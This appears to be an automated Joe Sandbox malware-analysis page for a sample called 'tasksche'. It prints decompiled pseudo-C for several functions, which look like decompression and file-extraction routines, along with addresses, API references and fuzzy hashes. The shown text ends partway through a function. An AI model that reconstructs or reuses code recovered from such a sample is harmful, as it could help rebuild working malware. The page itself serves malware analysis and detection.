Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction ID: 268b90de5ef8301e543b0e1450f18e5b796866e9caf2f0e9a7a428077d8a2ebb
Opcode Fuzzy Hash: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction Fuzzy Hash: ADE114702007445ADB24EF75C699BEE77E5AF40304F04053FE996A72C2DBBCA984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(E0042981F, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

0x00416790
0x00416795
0x0041679a
0x0041679f
0x004167a1
0x004167aa
0x004167b2
0x004167b5
0x004167b8
0x004167ba
0x004167bc
0x004167bc
0x004167c9
0x004167d4
0x004167d7
0x004167da
0x004167df
0x004167e3
0x00416804
0x0041680a
0x0041680d
0x004167e5
0x004167eb
0x004167ed
0x004167f2
0x004167fe
0x004167ff
0x004167f4
0x004167f7
0x004167f7
0x004167f2
0x0041680f
0x00416817
0x00416866
0x00416866
0x00000000
0x00416821
0x00416823
0x00416825
0x0041682b
0x00416834
0x00416839
0x00416845
0x00416845
0x0041683b
0x0041683b
0x0041683e
0x0041683e
0x0041684b
0x004168d8
0x004168db
0x004168de
0x004168e1
0x004168e1
0x004168e3
0x00000000
0x00416851
0x00416857
0x00416881
0x00416886
0x0041688d
0x00416890
0x00416892
0x0041689e
0x0041689e
0x00416894
0x00416894
0x00416897
0x00416897
0x004168ac
0x004168bf
0x004168c2
0x004168c5
0x004168ca
0x004168cd
0x004168e6
0x004168e6
0x004168e8
0x004168eb
0x004168ee
0x004168f4
0x0041693b
0x0041693b
0x00416945
0x00000000
0x00000000
0x00416953
0x0041695a
0x0041695a
0x0041695b
0x0041696c
0x00416971
0x00416974
0x00416979
0x0041697d
0x0041697f
0x00416981
0x00416981
0x00416981
0x00416992
0x00416996
0x00416998
0x004169b3
0x004169b6
0x004169bc
0x004169c9
0x004169c9
0x004169be
0x004169c4
0x004169c4
0x004169cb
0x0041699a
0x0041699d
0x004169a5
0x004169ae
0x004169ae
0x004169ce
0x004169d1
0x004169d4
0x004169d6
0x004169e9
0x004169e9
0x004169e9
0x00000000
0x004169d8
0x004169e0
0x004169e2
0x00000000
0x00000000
0x004169e6
0x004169eb
0x004169ed
0x004169ed
0x004169f3
0x004169f6
0x004169fe
0x00416a04
0x00416a07
0x00416a0b
0x00416a12
0x00416a15
0x00416a54
0x00416a54
0x00416a58
0x00416af6
0x00416af9
0x00416afc
0x00416b02
0x00416b05
0x00416b0b
0x00416b0e
0x00416b14
0x00416b16
0x00416b1c
0x00416b29
0x00416b2e
0x00416b2e
0x00416b31
0x00416b35
0x00416b37
0x00416b3c
0x00416b45
0x00416b45
0x00416b4a
0x00416b4a
0x00416b4d
0x00416b4f
0x00416b52
0x00416b55
0x00416b58
0x00416b5f
0x00416b6a
0x00416b6f
0x00416b73
0x00416b77
0x00416b77
0x00416b77
0x00416b77
0x00416b82
0x00416b86
0x00416b90
0x00416b94
0x00416b9f
0x00416ba3
0x00416bb0
0x00416bb8
0x00416bbc
0x00416c38
0x00416c38
0x00416868
0x0041686e
0x00416876
0x00416876
0x00416bbe
0x00416bc6
0x00416bcc
0x00000000
0x00000000
0x00416bd3
0x00416bd8
0x00416bdb
0x00416be0
0x00000000
0x00000000
0x00416be6
0x00416be9
0x00416bec
0x00416bee
0x00416bf2
0x00416bf8
0x00416bf8
0x00416bff
0x00416c01
0x00416c04
0x00416c07
0x00000000
0x00416c09
0x00416c09
0x00416c09
0x00416c11
0x00416c16
0x00000000
0x00000000
0x00416c2a
0x00416c2d
0x00416c32
0x00416c33
0x00416c36
0x00000000
0x00000000
0x00000000
0x00416c36
0x00000000
0x00416c09
0x00416c07
0x00416a66
0x00416a68
0x00416a6b
0x00416a71
0x00000000
0x00000000
0x00416a77
0x00416a79
0x00416a7b
0x00000000
0x00000000
0x00416a85
0x00416a8a
0x00416a8c
0x00416a8f
0x00416a92
0x00416abe
0x00416abe
0x00416acc
0x00416ad1
0x00416ad5
0x00416ad7
0x00416ad9
0x00416ada
0x00416adf
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a94
0x00416a94
0x00416a94
0x00416a9c
0x00416aa1
0x00000000
0x00000000
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ab9
0x00416abc
0x00000000
0x00000000
0x00000000
0x00416abc
0x00416ae2
0x00416ae4
0x00416aea
0x00416aeb
0x00416af0
0x00000000
0x00416ae4
0x00416a26
0x00416a29
0x00416a2e
0x00416a2e
0x00416a2e
0x00416a32
0x00416a3a
0x00416a3c
0x00416a46
0x00416a46
0x00416a48
0x00416a4b
0x00416a4e
0x00416a4e
0x00000000
0x00416a32
0x00000000
0x00000000
0x00000000
0x004168f6
0x004168f6
0x0041690a
0x00416913
0x00416916
0x00416919
0x0041691c
0x0041691e
0x0041691e
0x0041691e
0x0041691e
0x00416921
0x00416924
0x00416926
0x00416928
0x00416928
0x00416928
0x0041692b
0x0041692c
0x0041692f
0x0041692f
0x00416937
0x00416939
0x00000000
0x00000000
0x00000000
0x00416939
0x0041685b
0x00416861
0x00416861
0x00000000
0x0041685b
0x0041684b

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

0x00418b3d
0x00418b45
0x00418b4c
0x00418b55
0x00418b58
0x00418b5f
0x00418b65
0x00418b72
0x00418b78
0x00418b7b
0x00418b7d
0x00418b80
0x00418b8f
0x00418b8f
0x00418b93
0x00418b93
0x00418b98
0x00418bf1
0x00418bf8
0x00418bfb
0x00418c00
0x00418c0f
0x00418c11
0x00418c11
0x00418c16
0x00418c47
0x00418c58
0x00418c5a
0x00418c5e
0x00418cd8
0x00418cda
0x00418ce1
0x00418ce2
0x00418ce9
0x00000000
0x00000000
0x00418c63
0x00418c65
0x00418c67
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c75
0x00418c79
0x00418cb7
0x00418cb7
0x00418cba
0x00418cc1
0x00418d36
0x00418d3f
0x00418d4d
0x00418d5c
0x00000000
0x00418d5f
0x00418ccf
0x00418cd4
0x00418cd6
0x00000000
0x00000000
0x00000000
0x00418c7b
0x00418c86
0x00418c9b
0x00418caa
0x00418cac
0x00418cb0
0x00418cb3
0x00418cb5
0x00418d2d
0x00000000
0x00418d33
0x00000000
0x00418cb5
0x00418c79
0x00418cff
0x00418d08
0x00418d0d
0x00418d11
0x00418d13
0x00418d66
0x00418d15
0x00418d18
0x00418d18
0x00418d72
0x00418d76
0x00418d87
0x00418d8d
0x00418d9b
0x00418d9b
0x00418da0
0x00418da6
0x00418da9
0x00418dba
0x00418dc6
0x00418dcf
0x00418dab
0x00418dab
0x00418dab
0x00418dd4
0x00418dd9
0x00418de0
0x00418de7
0x00418df0
0x00418e08
0x00418e08
0x00000000
0x00418ba0
0x00418ba7
0x00418bb8
0x00418bc1
0x00418be0
0x00418bec
0x00418bec
0x00000000
0x00418be0
0x00418bad
0x00000000
0x00000000
0x00418baf
0x00418bb6
0x00000000
0x00000000
0x00000000
0x00418bb6
0x00418b98
0x00418b82
0x00418b89
0x00418b8d
0x00000000
0x00000000
0x00000000
0x00418b8d
0x00418b67
0x00418b6d
0x00000000

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(E00429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
